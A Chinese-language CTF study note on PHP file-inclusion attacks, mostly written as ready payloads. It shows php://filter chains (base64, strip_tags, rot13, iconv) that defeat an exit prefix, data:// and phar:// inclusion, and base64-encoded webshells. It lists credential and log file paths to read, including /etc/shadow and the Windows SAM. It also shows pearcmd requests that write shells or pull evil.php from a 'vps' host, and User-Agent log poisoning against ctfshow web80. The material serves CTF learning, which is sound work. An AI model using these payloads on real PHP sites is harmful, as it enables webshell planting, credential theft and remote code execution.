PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists() 和 filesize()的文件系统函数。当遇到文件包含时,我们可以这个特性来完成我们需要的指令。

常见文件包含函数

include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file.

1
2
3
4
5
6
7
8
9
include
include_once:遇到重复文件,只包含一次
require
require_once: 遇到重复文件,只包含一次
highlight_file、show_source、readfile、file_get_contents、fopen、file (读取文件)

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
1
2
3
4
cmd1|cmd2:不论cmd1是否为真,cmd2都会被执行;
cmd1;cmd2:不论cmd1是否为真,cmd2都会被执行;
cmd1||cmd2:如果cmd1为假,则执行cmd2;
cmd1&&cmd2:如果cmd1为真,则执行cmd2;

文件包含漏洞分类

  1. 本地文件包含
  2. 远程文件包含

两个配置文件
allow_url_fopen:为ON时,能读取远程文件,例如file_get_contents()就能读远程文件
allow_url_include:为ON时,就可使用include和require等方式包含远程文件

常见的敏感信息路径

Windows系统

1
2
3
4
5
6
c:\boot.ini 						     #查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml #IIS配置文件
c:\windows\repair\sam #存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini #MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD #MySQL root密码
c:\windows\php.ini #php配置信息

Linux/Unix系统

1
2
3
4
5
6
7
/etc/passwd # 账户信息
/etc/shadow # 账户密码文件
/usr/local/app/apache2/conf/httpd.conf # Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf # 虚拟网站配置
/usr/local/app/php5/lib/php.ini # PHP相关配置
/etc/httpd/conf/httpd.conf # Apache配置文件
/etc/my.conf # mysql 配置文件

常见协议

file:// — 访问本地文件系统

php:// — 访问各个输入/输出流(I/O streams)

zlib:// — 压缩流

data:// — 数据(RFC 2397)

phar:// — PHP 归档

常见利用方式

php://

php://filter/read=convert.-encode/resource=index.php (常用于读取源码)

php://input (配合post发送数据)

谈一谈php://filter的妙用
1
php://filter/read=convert.base64-encode/resource=php://input

img

base64绕过死亡 die / exit
1
2
3
4
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

这里的$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将 $content 解码,利用 php base64_decode 函数特性去除 “ 死亡exit ”

众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

所以,一个正常的base64_decode实际上可以理解为如下两个步骤:

1
2
3
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符 < ? ; > 空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有 phpexit 和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,”phpexita”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

最后效果是 :

img

<?php system('tac *.php');?>进行base64编码

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/Pg==
但是这里的=被过滤

可以在前面的基础上加一点东西

1
2
<?php system('tac *.php');?>aa
//base64: PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/PmFh
字符串操作方法绕过死亡die/exit

这个<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

编写如下测试代码即可查看 php://filter/read=string.strip_tags/resource=php://input 的效果:

1
echo readfile('php://filter/read=string.strip_tags/resource=php://input');

img

php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。

“死亡exit”在第一步被去除,而webshell在第二步被还原。

最终的数据包如下:

img

rot13编码绕过死亡die/exit

<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了:

img

convert.iconv

这个过滤器需要php支持iconv,而iconv是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

方法
  1. usc-2 两位一反转(字符数量需为偶数)
1
2
3
4
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.ph

http://0b6cbb09-4547-46d7-9710-0154c8e14b60.challenge.ctf.show/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
contents=?<hp pe@av(l_$EG[T]x;)>?
  1. usc-4 四位一反转(字符数量需为4的倍数)
1
php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php
  1. utf-8与utf-7之间的转化

纯字符进行utf之间的转换后还是其本身,故可直接混淆死亡代码

1
php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=s1mple.php
data://
  • 条件
    • allow_url_fopen:on
    • allow_url_include :on
1
2
3
4
5
data://text/plain; , 编码的payload
index.php?file=data://text/plain,<?php phpinfo()?>
index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
index.php?file=data:text/plain,<?php phpinfo()?>
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
zip://

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://和bzip2://
img

file://

file://[文件的绝对路径和文件名]

file://d:/flag.txt

phar://

phar://中相对路径和绝对路径都可以使用

img

phar://[压缩文件路径]#[压缩文件内的子文件名]

例如脚本文件为1.php,打包成1.zip,然后再改名为1.jpg

index.php?file=phar://1.jpg/1.php

或 绝对路径

index.php?file=phar://D:/1.jpg/1.php

CTF PHP代码审计中file_put_contents函数利用

通过file_put_contents写入文件
难点在于。要写一个webshell。但字符只能a-zA-Z0-9_,而webshell至少需要 <?

看file_put_contens的文档即可发现,函数第二个允许传入数组,将被连接为字符串再写入
例如

1
2
content[]=<?php&content[]=%0aphpinfo();
file_put_contens($filename,$content)

此时,$content为<?php phpinfo(); 传入的数组刚好绕过了正则检测
img

最后补一句,其实这个漏洞在fopen(),fwrite(), fclose()也是存在的

日志文件包含

fuzz日志文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/access_log
/var/log/nginx/error.log
/var/log/nginx/error_log
/var/log/httpd/access.log
/var/log/httpd/access_log
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/access_log
/var/log/access.log
/var/log/error_log
/var/log/error.log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/error_log
/var/log/apache2/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/access_log
/usr/local/apache2/logs/error.log
/usr/local/apache2/logs/error_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log

pearcmd文件包含

register_argc_argvOn,其中php-apache的docker环境默认满足

方法一:直接写文件

注意这里需要在burp中发包

1
2
GET /?+config-create+/&f=/usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/hello.php
GET /?+config-create+/&f=/usr/local/lib/php/peclcmd&/<?=phpinfo()?>+/tmp/hello.php

再包含写入的文件

1
?f=/tmp/hello

方法二:拉取远程文件

  • web目录

    拉取到web目录

1
2
3
GET /?f=pearcmd&+install+-R+/var/www/html+http://vps/evil.php
访问
http://xxxx/tmp/pear/download/evil.php
  • tmp目录
1
2
3
GET /?f=pearcmd&+install+-R+/tmp+http://ip:port/evil.php
访问
http://ip:port/index.php?f=/tmp/pear/download/evil

限制

apt install php方式安装的php默认register_argc_argv是关闭的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
root@bf3ffaa74403:/usr/local/lib/php# php pearcmd.php 
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]
Usage: pear [options] command [command-options] <parameters>
Type "pear help options" to list all options.
Type "pear help shortcuts" to list all command shortcuts.
Type "pear help version" or "pear version" to list version information.
Type "pear help <command>" to get the help for the specified command.

jan神出的一道题

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
if(!preg_match("/php/i", $_SERVER['REQUEST_URI']) && strlen($_SERVER['REQUEST_URI'])<100){
include $_GET['f'].".php";
}else{
echo '想啥呢';
}

payload

1
2
?f=/usr/local/lib/ph%70/pearcmd&+install+-R+/tmp+http://ctf.jan.show/1.zip
?f=phar:///var/www/html/tmp/pear/download/1.zip/1

ctfshow文件包含

web80
日志文件包含(User-Agent头部注入命令)

远程文件包含

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

替换了php和data

这里可以进行日志包含

1
2
3
4
5
6
日志文件记录了服务器收到的每一次请求的IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号会自动进行url编码,存到日志当中时,不是一个正确的php语句,无法成功执行,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。

访问日志的位置和文件名在不同的系统上会有所差异
apache一般是/var/log/apache/access.log
apache2一般是/var/log/apache2/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

通过User-Agent头部注入命令:

img

然后将日志包含进去,并通过POST参数执行命令:

1
?file=/var/log/nginx/access.log

img

法二:

远程文件包含

往VPS下面写php代码,然后远程包含:

1
?file=http://*.*.*.*/1

法三:

大小写绕过

img